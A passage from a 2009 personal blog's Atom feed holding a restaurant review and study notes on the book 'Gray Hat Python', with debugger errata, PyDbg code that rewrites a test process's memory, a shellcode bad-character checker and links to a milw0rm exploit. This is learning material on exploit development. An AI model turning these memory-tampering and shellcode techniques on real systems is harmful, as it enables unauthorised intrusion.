type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3669170932861773219' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3669170932861773219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3669170932861773219'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/10/easy-is-cheesy.html' title='Easy is Cheesy'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-30062700265605942</id><published>2009-10-07T17:27:00.006-06:00</published><updated>2009-10-07T18:42:20.954-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='northeast'/><category scheme='http://www.blogger.com/atom/ns#' term='the anchor fish and chips'/><category scheme='http://www.blogger.com/atom/ns#' term='food'/><title type='text'>Fish &amp; Chips!  The Anchor is Open</title><content type='html'>So, Northeast has a new fish &amp;amp; chips spot, &lt;a href="http://www.theanchorfishandchips.com/The_Anchor_Fish_%26_Chips/Home.html"&gt;The Anchor Fish &amp;amp; Chips&lt;/a&gt;.  I love local businesses, especially when it comes to bars, pubs, and restaurants.  I'm not a big foodie at all.  I like White Castle for some things, &lt;a href="http://www.redstagsupperclub.com/"&gt;Red Stag Supper Club&lt;/a&gt; for others.  It's all about mood for me.  Whatever that means...&lt;br /&gt;&lt;br /&gt;I'm not a food reviewer, so don't expect a lot of multi-syllabled words.  Expect more of Uncle Walt Whitman here.  Go see the building if you like that sort of stuff.  It works for the neighborhood.  Also, experience the service yourself, it may have been better than it was for me.  I'm about food and beer.&lt;br /&gt;&lt;br /&gt;The meal, when it came out, was moderately good (3 out of 5).  The chips themselves were awesome!  The salt, golden to amber color, and crisp to mash-like filing made the chips very tasty.  The fish also was good, but the chips were more memorable to me.  The fish batter was somewhat light, sometimes being a bit greasy.  If it wasn't a little greasy, I'd probably walk out because the damn thing just came out of a hot fryer, regardless of the time it spent under the hot lights.  Being silly, I thought it was an English fish &amp;amp; chips spot, so I was again saddened to not see any peas (mushy or otherwise) w/ the meal.  But, it's not English, it's Irish.  I guess the Irish don't like their mushy peas with fish, so they put them on the side for $2.50. (Maybe peas are Protestant or something, who knows...)&lt;br /&gt;&lt;br /&gt;Selfish Recommendation #1: throw just a bit of mushy peas in the basket for a week and see if people comment one way or the other.  Let me know when you do this so I can be cheap and get some for free. ;-)&lt;br /&gt;&lt;br /&gt;The only annoyance I had was with one of the Governors (the thin boy that needs to eat more). I asked for some malt vinegar and I was almost ran out of the bar.  He educated me on how people that use malt vinegar are Neanderthal at best and Iowans at worst.  Malt vinegar doesn't bring out the flavor of anything and only overshadows the chips, he continued.  And, white vinegar is God's food or something, with an astringency that truly works with the chip.  I should have called bullshit or something.&lt;br /&gt;&lt;br /&gt;Prior to this, I did realize they had white vinegar on the counter.  I tried a couple drops on my finger prior, to see if I would like it.  I_didn't_taste_anything.  I tried again, and got the faintest vinegar taste, with a little bit of sourness.  I passed this observation to the Guv, but I think at this time he thought I probably was from Iowa. I proceeded to create a swimming pool of vinegar in my basket when the meal came out, but all for naught.  (Maybe it had something to do with the vinegar being Heinz.)&lt;br /&gt;&lt;br /&gt;I felt like an idiot, wondering if my years of malt vinegar have destroyed my inexperienced palate.  I then felt like I was duped, wondering if there was a camera somewhere recording my expressions, which should be on Youtube by now or something. The Guv stated that only true fish &amp;amp; chip connoisseurs have the balls to douse their meal with God's white vinegar.  I really wanted to throw the bottle at him, but that would have ended the meal on an unfortunate note.  And, I still thought there was a camera somewhere, even though I cased out the spot over and over.&lt;br /&gt;&lt;br /&gt;Unselfish Recommendation #1: Don't make fun of your customers, unless they are from Iowa. I'll probably try out the spot again, but I really felt like an idiot.  Having molten cheese spill on your fingers or burn your lips because you didn't listen to Renee at Matt's proves you're an idiot.  Being made fun of never having a Jucy Lucy and not knowing how to tackle one makes you feel like an idiot.  That was the whole vinegar thing for me. There's a subtle difference here, but one is mea culpa and the other is tua culpa.  Figure that out, and you'll be a better Guv, Guv.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-30062700265605942?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/30062700265605942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=30062700265605942' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/30062700265605942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/30062700265605942'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/10/fish-chips-anchor-is-open.html' title='Fish &amp; Chips!  The Anchor is Open'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-414160610580690607</id><published>2009-08-25T12:09:00.005-06:00</published><updated>2009-08-25T12:21:39.401-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Gray Hat Python Chapter 6.1 Minor Stuff</title><content type='html'>In Chapter 6.1, "Soft Hooking with PyDbg", I had some minor issues getting Immunity Debugger to connect to Firefox.  First, I had to quit and reload the debugger.  Dunno why this was, but until then, no attachment attempts worked.  Secondly, since I'm not use to Immunity Debugger, the following line from the chapter wasn't helpful:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Once you have accepted the site's SSL certificate and the page has loaded, attach Immunity Debugger to the &lt;span style="font-style: italic;"&gt;firefox.exe&lt;/span&gt; process and set a breakpoint on &lt;span style="font-family:courier new;"&gt;nspr4.PR_Write&lt;/span&gt;.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Immunity Debugger help on Breakpoints (Ordinary):&lt;br /&gt;&lt;blockquote&gt; You place this breakpoint by selecting the command in Disassembler and pressing F2, or over pop-up menu&lt;/blockquote&gt;.&lt;br /&gt;&lt;br /&gt;Well, I had no idea where the assembly was for the nspr4.PR_Write routine. After digging around, I came across the "Executable modules" window. I did the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sorted by name&lt;/li&gt;&lt;li&gt;Found the 'nspr4' module&lt;/li&gt;&lt;li&gt;Right-clicked and chose 'View names' in the drop down&lt;/li&gt;&lt;li&gt;In the 'Names in nspr4' window, typed in PR_Write' and selected the instance&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Hit F2 (which caused the address to become red and an entry to appear in the 'Breakpoints' window&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;From there, I was able to complete the exercise with no problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-414160610580690607?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/414160610580690607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=414160610580690607' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/414160610580690607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/414160610580690607'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/08/gray-hat-python-chapter-61-minor-stuff.html' title='Gray Hat Python Chapter 6.1 Minor Stuff'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-5359113813250766913</id><published>2009-08-19T09:45:00.004-06:00</published><updated>2009-08-19T13:55:17.379-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='errata'/><title type='text'>Gray Hat Python Chapter 5 Mucho Love</title><content type='html'>&lt;a href="http://blog.cykyc.org/2009/07/gray-hat-python-chapter-341-love.html"&gt;Continuing&lt;/a&gt; on &lt;a href="http://blog.cykyc.org/2009/08/gray-hat-python-chapter-342-love-part-1.html"&gt;with&lt;/a&gt; my &lt;a href="http://blog.cykyc.org/2009/08/gray-hat-python-chapter-41-love.html"&gt;ramblings&lt;/a&gt; on &lt;a href="http://nostarch.com/ghpython.htm"&gt;Gray Hat Python&lt;/a&gt;, I'm now onto Chapter 5 and have slowed a bit down.  The best advice I can give is what Justin gave at the end of Chapter 4.3.2: get a program with a &lt;a href="http://support.jgaa.com/index.php?cmd=DownloadVersion&amp;ID=1"&gt;known vulnerability&lt;/a&gt; and start loading it up in the examples.  I didn't do this at first, which made Chapter 5 pretty difficult to follow.&lt;br /&gt;&lt;br /&gt;I am using a milw0rm &lt;a href="www.milw0rm.com/exploits/3474 "&gt;exploit&lt;/a&gt; with a different &lt;a href="http://milw0rm.org/exploits/3482"&gt;shellcode&lt;/a&gt; payload.  This at least has helped in exercise 5.3.1 and 5.3.2.  By the way, you will need to modify the code samples for both examples to get them working correctly.&lt;br /&gt;&lt;br /&gt;Example 5.3.1 findinstruction.py diff&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--- findinstruction-orig.py 2009-08-19 14:37:13.000000000 -0500&lt;br /&gt;+++ findinstruction.py 2009-08-19 14:37:35.000000000 -0500&lt;br /&gt;@@ -16,7 +16,7 @@&lt;br /&gt;         access      = code_page.getAccess( human = True )&lt;br /&gt; &lt;br /&gt;         if "execute" in access.lower():&lt;br /&gt;-            imm.log("[*] Found: %s (0x%08x)" % ( search_code, hit ), address = hit )&lt;br /&gt;+            imm.Log("[*] Found: %s (0x%08x)" % ( search_code, hit ), address = hit )&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;     return "[*] Finished searching for instructions, check the Log window."&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This threw me off.  According to the Immunity Debugger documentation, both immlib.Debugger.Log() and immlib.Debugger.log() have the same prototype:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Log(self, msg, address=0, highlight=False, gray=False, focus=0)&lt;br /&gt;Adds a single line of ASCII text to the log window. source code  &lt;br /&gt; &lt;br /&gt;log(self, msg, address=0, highlight=False, gray=False, focus=0)&lt;br /&gt;Adds a single line of ASCII text to the log window. &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;But, running w/ imm.log() kept on throwing an error that 'address' was an unexpected keyword argument. This is more of a bug w/ the debugger than the program, methinks. At this time, though, I was not able to load up the Immunity forums, so it's hard to say.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Ag2GsPPoUVg/SoxVzFJWhTI/AAAAAAAAACY/yE9wuKl6mSM/s1600-h/Picture+1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 77px;" src="http://1.bp.blogspot.com/_Ag2GsPPoUVg/SoxVzFJWhTI/AAAAAAAAACY/yE9wuKl6mSM/s320/Picture+1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5371762791589250354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example 5.3.2 badchar.py diff&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--- badchar-orig.py 2009-08-19 14:26:15.000000000 -0500&lt;br /&gt;+++ badchar.py 2009-08-19 14:32:37.000000000 -0500&lt;br /&gt;@@ -1,4 +1,5 @@&lt;br /&gt; from immlib import *&lt;br /&gt;+import binascii&lt;br /&gt; &lt;br /&gt; def main(args):&lt;br /&gt; &lt;br /&gt;@@ -12,15 +13,16 @@&lt;br /&gt;     # Shellcode to verify&lt;br /&gt;     shellcode        = "&lt;&lt;COPY AND PASTE YOUR SHELLCODE HERE&gt;&gt;"&lt;br /&gt;     shellcode_length = len(shellcode)&lt;br /&gt;+    shellcode = binascii.b2a_hex(shellcode)&lt;br /&gt; &lt;br /&gt;     debug_shellcode = imm.readMemory( address, shellcode_length )&lt;br /&gt;     debug_shellcode = debug_shellcode.encode("HEX")&lt;br /&gt; &lt;br /&gt;     imm.log("Address: 0x%08x" % address)&lt;br /&gt;-    imm.log("Shellcode Length : %d" % length)&lt;br /&gt;+    imm.log("Shellcode Length : %d" % shellcode_length)&lt;br /&gt; &lt;br /&gt;-    imm.log("Attack Shellcode: %s"    % canvas_shellcode[:512])&lt;br /&gt;-    imm.log("In Memory Shellcode: %s" % id_shellcode[:512])&lt;br /&gt;+    imm.log("Attack Shellcode: %s" % shellcode[:512])&lt;br /&gt;+    imm.log("In Memory shellcode: %s" % debug_shellcode[:512])&lt;br /&gt; &lt;br /&gt;     # Begin a byte-by-byte comparison of the two shellcode buffers&lt;br /&gt;     count = 0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;For the above, once the changes are made, then modify the script to include your shellcode. I was having problems getting the lists to contain the same type of characters. shellcode[] was containing actual numbers / letters (e.g. \x41 or 'A') whilst debug_shellcode[] contained strings of the numbers (e.g. '41').  The variables just needed to be renamed to the ones used in the program. (I can't think for the life of me why Justin used 'canvas' ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-5359113813250766913?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/5359113813250766913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=5359113813250766913' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5359113813250766913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5359113813250766913'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/08/gray-hat-python-chapter-5-mucho-love.html' title='Gray Hat Python Chapter 5 Mucho Love'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Ag2GsPPoUVg/SoxVzFJWhTI/AAAAAAAAACY/yE9wuKl6mSM/s72-c/Picture+1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-5601121346723782224</id><published>2009-08-14T17:16:00.005-06:00</published><updated>2009-08-14T18:18:38.649-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='errata'/><title type='text'>Gray Hat Python Chapter 4.1 Love</title><content type='html'>So, I gave up on &lt;a href="http://blog.cykyc.org/2009/08/gray-hat-python-chapter-342-love-part-1.html"&gt;Chapter 3.4.2&lt;/a&gt; and went to Chapter 4.  The first exercise is 4.1 Extending Breakpoint Handlers.  The idea was to modify the process memory to replace the counter number with another random number between 1-100.  Instead of this, the test harness printed out a static number (versus the counter) and was not able to modify the printed output.  I found out &lt;a href="http://stacksmash.org/?p=44&amp;cpage=1"&gt;I wasn't the only one&lt;/a&gt; with this issue. (And btw, thanks to Brad at stacksmash.org for his prior work with this book and blog posts.  He has been very helpful!)&lt;br /&gt;&lt;br /&gt;The first thing I wanted to see was what the context data looked like.  PyDbg has a nice method called &lt;a href="http://pedram.redhive.com/PyDbg/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html#dump_context"&gt;pydbg.pydbg.dump_context()&lt;/a&gt; which helped in troubleshooting.  I added it here:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;def printf_randomizer(dbg):&lt;br /&gt;    &lt;br /&gt;    # Read in the value of the counter at ESP + 0x4 as a DWORD&lt;br /&gt;    parameter_addr = dbg.context.Esp + 0x4&lt;br /&gt;    print dbg.dump_context()&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I got the following context data:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;CONTEXT DUMP&lt;br /&gt;EIP: 77c4186a push byte 0×10&lt;br /&gt;EAX: 0021fb88 ( 2227080) -&gt; 0! (stack)&lt;br /&gt;EBX: 00000000 ( 0) -&gt; N/A&lt;br /&gt;ECX: 0021fc98 ( 2227352) -&gt; ..!…………………`….R…R……..!…….!………..!……….G..j..w………………..x…………R….!……………..x…….j..w………….h…….R…….R……`….R………………`…….`…..!…..&lt; U..p……….. ………………..`….R…R……..!…….!………..!……….G..j..w………………..x…………R….!……………..x…….j..w………….h…….R…….R……`….R………………`…….`…..!…..&lt; U..p……….. ..!…………………`….R…R……..!…….!………..!……….G..j..w………………..x…………R….!……………..x…….j..w………….h…….R…….R……`….R………………`…….`…..!…..&lt; U..p……….. 0! (stack)&lt;br /&gt;EBP: 0021fb8c ( 2227084) -&gt; ..!………..!………..!.j..w..!.0.!…!…!.p.!..w..0.!.j..w..!…!…!…!…..d………….!.x…..!………..!.d…….%.1ld.!.p%………………JY..,_…………!…………. Y..p%…………!..V….!……………!………j..w..!…!….. (stack)&lt;br /&gt;ESP: 0021fb80 ( 2227072) -&gt; :…….0.!…!………..!………..!.j..w..!.0.!…!…!.p.!..w..0.!.j..w..!…!…!…!…..d………….!.x…..!………..!.d…….%.1ld.!.p%………………JY..,_…………!…………. Y..p%…………!..V….!……………!………j..w (stack)&lt;br /&gt;+00: 1d1aba3a ( 488290874) -&gt; N/A&lt;br /&gt;+04: 00a9c994 ( 11127188) -&gt; Loop iteration 4! (heap)&lt;br /&gt;+08: 0021fc30 ( 2227248) -&gt; ……….!…………. Y..p%…………!..V….!……………!………j..w..!…!…….!………..!…………………`….R…R……..!…….!………..!……….G..j..w………………..x…………R….!……………..x…….j..w…. (stack)&lt;br /&gt;+0c: 0021fbbc ( 2227132) -&gt; p! (stack)&lt;br /&gt;+10: 1d1aaa9a ( 488286874) -&gt; N/A&lt;br /&gt;+14: 1d1aa8e0 ( 488286432) -&gt; N/A&lt;br /&gt;&lt;br /&gt;Counter: 2227248&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The test harness was peeking at ESP+0x8 for the counter variable.  On my Windows XP Pro SP3 system (running under Parallels on Mac), though, no counter variable I could tell was at ESP+0x8.  Looking at ESP+0x4, though, existed what seemed to be an address (0x00a9c994) that PyDbg was hinted pointed to the heap, which contains the string.  So, instead of a counter variable on the stack, the whole string is in the heap.&lt;br /&gt;&lt;br /&gt;To read the counter variable, I changed the printf_randomizer from this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;def printf_randomizer(dbg):&lt;br /&gt;&lt;br /&gt;    # Read in the value of the counter at ESP + 0x8 as a DWORD&lt;br /&gt;    parameter_addr = dbg.context.Esp + 0x8&lt;br /&gt;    counter = dbg.read_process_memory(parameter_addr, 4)&lt;br /&gt;&lt;br /&gt;    # When we use read_process_memory, it returns a packed binary&lt;br /&gt;    # string. We must first unpack it before we can use it further.&lt;br /&gt;    counter = struct.unpack("L", counter)[0]&lt;br /&gt;    print "Counter: %d" % int(counter)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;To this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;def printf_randomizer(dbg):&lt;br /&gt;    &lt;br /&gt;    # Read in the value of the counter at ESP + 0x4 as a DWORD&lt;br /&gt;    parameter_addr = dbg.context.Esp + 0x4&lt;br /&gt;    #print dbg.dump_context()&lt;br /&gt;    counter = dbg.read_process_memory(parameter_addr,4)&lt;br /&gt;    &lt;br /&gt;    # When using read_process_memory, it returns a packed binary&lt;br /&gt;    # string, we must first unpack it before we can use it further&lt;br /&gt;    &lt;br /&gt;    # Hack time. Our real parameter address is different, since it's&lt;br /&gt;    # referenced. This is the base. We'll need to go into it to find the&lt;br /&gt;    # offset&lt;br /&gt;    parameter_addr_base = struct.unpack("L",counter)[0]&lt;br /&gt;    &lt;br /&gt;    # If using this string, "Loop iteration ", the length to number = 15&lt;br /&gt;    # Add in the number itself (assume counter doesn't go beyond XXXX&lt;br /&gt;    # And then "!\n", two more bytes&lt;br /&gt;    string_len = 15 + 4 + 2&lt;br /&gt;    counter_string = dbg.read_process_memory(parameter_addr_base, int(string_len))&lt;br /&gt;    counter_string = struct.unpack(str(string_len) + "s",counter_string)[0]&lt;br /&gt;&lt;br /&gt;    # cleanup string&lt;br /&gt;    counter_string = counter_string.split("!\n")[0]&lt;br /&gt;    # And grab number&lt;br /&gt;    counter = counter_string[15:]&lt;br /&gt;    print "Counter: %d" % int(counter)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now, here's the thing. We can read the variable, whoopy.  But, we're going to have to modify the heap to possibly insert a variable between one to three bytes into an existing heap that might not have room.  So, to play nice, I'm only adding back into the heap the amount possible. (We don't want to add a vulnerability to our testing ;-)&lt;br /&gt;&lt;br /&gt;Also, from testing, the data does not need to be packed, since it's a string. So, the random_number is going back into the heap as a string and not an int.&lt;br /&gt;&lt;br /&gt;Prior code:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    # Generate a random number and pack it into binary format&lt;br /&gt;    # so that it is written correctly back into the process&lt;br /&gt;    random_counter = random.randint(1,100)&lt;br /&gt;    random_counter = struct.pack("L",random_counter)[0]&lt;br /&gt;    &lt;br /&gt;    # Now swap in our random number and resume the process&lt;br /&gt;    dbg.write_process_memory(parameter_addr, random_counter)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;New code:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    # Generate a random number and pack it into binary format&lt;br /&gt;    # so that it is written correctly back into the process&lt;br /&gt;    random_counter = int(random.randint(1,100))&lt;br /&gt;    &lt;br /&gt;    # Pack in only what will fit, though.&lt;br /&gt;    if (len(counter) &gt; 1): &lt;br /&gt;        random_counter = str(random_counter)[0:len(counter)-1]&lt;br /&gt;    else:&lt;br /&gt;        random_counter = str(random_counter)[0]&lt;br /&gt;    #random_counter = struct.pack("L",random_counter)[0]&lt;br /&gt;        &lt;br /&gt;    # Change our parameter address to point to the right&lt;br /&gt;    # location, 15 characters in&lt;br /&gt;    parameter_addr = parameter_addr_base + 15&lt;br /&gt;        &lt;br /&gt;    # Now swap in our random number and resume the process&lt;br /&gt;    dbg.write_process_memory(parameter_addr,random_counter)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And, it gives this output:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Enter the printf_loop.py PID: 408&lt;br /&gt;Counter: 2&lt;br /&gt;Counter: 3&lt;br /&gt;Counter: 4&lt;br /&gt;Counter: 5&lt;br /&gt;Counter: 6&lt;br /&gt;Counter: 7&lt;br /&gt;Counter: 8&lt;br /&gt;Counter: 9&lt;br /&gt;Counter: 10&lt;br /&gt;Counter: 11&lt;br /&gt;Counter: 12&lt;br /&gt;Counter: 13&lt;br /&gt;Counter: 14&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\workspace\Grey Hat Python\src&gt;python pri&lt;br /&gt;ntf_loop.py&lt;br /&gt;Loop iteration 0!&lt;br /&gt;Loop iteration 1!&lt;br /&gt;Loop iteration 5!&lt;br /&gt;Loop iteration 6!&lt;br /&gt;Loop iteration 7!&lt;br /&gt;Loop iteration 5!&lt;br /&gt;Loop iteration 4!&lt;br /&gt;Loop iteration 6!&lt;br /&gt;Loop iteration 8!&lt;br /&gt;Loop iteration 2!&lt;br /&gt;Loop iteration 10!&lt;br /&gt;Loop iteration 81!&lt;br /&gt;Loop iteration 52!&lt;br /&gt;Loop iteration 53!&lt;br /&gt;Loop iteration 74!&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-5601121346723782224?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/5601121346723782224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=5601121346723782224' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5601121346723782224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5601121346723782224'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/08/gray-hat-python-chapter-41-love.html' title='Gray Hat Python Chapter 4.1 Love'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-311686561699591197</id><published>2009-08-06T10:37:00.006-06:00</published><updated>2009-08-06T12:39:04.220-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gray hat python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='errata'/><title type='text'>Gray Hat Python Chapter 3.4.2 Love, Part 1 (and some 3.4.1 pillow talk)</title><content type='html'>So, yeah, 3.4.2 didn't go well either.  Going back to &lt;a href="http://blog.cykyc.org/2009/07/gray-hat-python-chapter-341-love.html"&gt;my write-up&lt;/a&gt; on Chapter 3.4.1, I realize I missed an error and as well propagated it:&lt;br /&gt;&lt;blockquote&gt;It looks like self.context.Eip is causing some grief. Looking ahead, it looks like it's covered on page 48. Comment out the following:&lt;br&gt;&lt;pre&gt;&lt;br /&gt;           self.context = self.get_thread_context(h_thread=self.h_thread)&lt;br /&gt;           self.context.Eip -= 1&lt;br /&gt;          &lt;br /&gt;           kernel32.SetThreadContext(self.h_thread,byref(self.context))&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;self.context.Eip should have been able to be set to the CONTEXT() structure from my_debugger_defines.  Since it's not being set, then something is amiss.&lt;br /&gt;&lt;br /&gt;Here's the code for get_thread_context from the book:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def get_thread_context(self, thread_id=None, h_thread=None):&lt;br /&gt;        &lt;br /&gt;        context = CONTEXT()&lt;br /&gt;        context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS&lt;br /&gt;        &lt;br /&gt;        # Obtain a handle to the thread&lt;br /&gt;        h_thread = self.open_thread(thread_id)&lt;br /&gt;        if kernel32.GetThreadContext(h_thread, byref(context)):&lt;br /&gt;            kernel32.CloseHandle(h_thread)&lt;br /&gt;            return context&lt;br /&gt;        else:&lt;br /&gt;            return False&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here's the code for get_thread_context from the src files:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def get_thread_context (self, thread_id=None,h_thread=None):&lt;br /&gt;        &lt;br /&gt;        context = CONTEXT()&lt;br /&gt;        context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS&lt;br /&gt;        &lt;br /&gt;        # Obtain a handle to the thread&lt;br /&gt;        if h_thread is None:&lt;br /&gt;            self.h_thread = self.open_thread(thread_id)&lt;br /&gt;                        &lt;br /&gt;        if kernel32.GetThreadContext(self.h_thread, byref(context)):&lt;br /&gt;            &lt;br /&gt;            return context &lt;br /&gt;        else:&lt;br /&gt;            return False&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, the book example blindly sets the local h_thread versus the revised code. Funny enough, the revised code I am assuming is assuming that the passed h_thread is also self.h_thread, since no latter assignment is made.  The other difference is kernel32.CloseHandle() is called in the book example whilst not in the src code example.&lt;br /&gt;&lt;br /&gt;There are two times that h_thread is already set for us: one in get_debug_event() and the other in exception_handler_breakpoint().  There are two times it is not set: bp_set_hw() and bp_del_hw().  So, we want to still test to see if h_thread is None and if so, set.  If it isn't, well, then use it :-)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;    def get_thread_context (self, thread_id=None,h_thread=None):&lt;br /&gt;        &lt;br /&gt;        context = CONTEXT()&lt;br /&gt;        context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS&lt;br /&gt;        &lt;br /&gt;        # Obtain a handle to the thread&lt;br /&gt;        if h_thread is None:&lt;br /&gt;            h_thread = self.open_thread(thread_id)&lt;br /&gt;            self.h_thread = h_thread&lt;br /&gt;&lt;br /&gt;        if kernel32.GetThreadContext(h_thread, byref(context)):&lt;br /&gt;            &lt;br /&gt;            return context &lt;br /&gt;        else:&lt;br /&gt;            return False&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And, I'll remove the CloseHandle call for now.  Looking at the functions where the handle is passed to us, exception_handler_breakpoint() would be very unhappy with us if we closed the handle 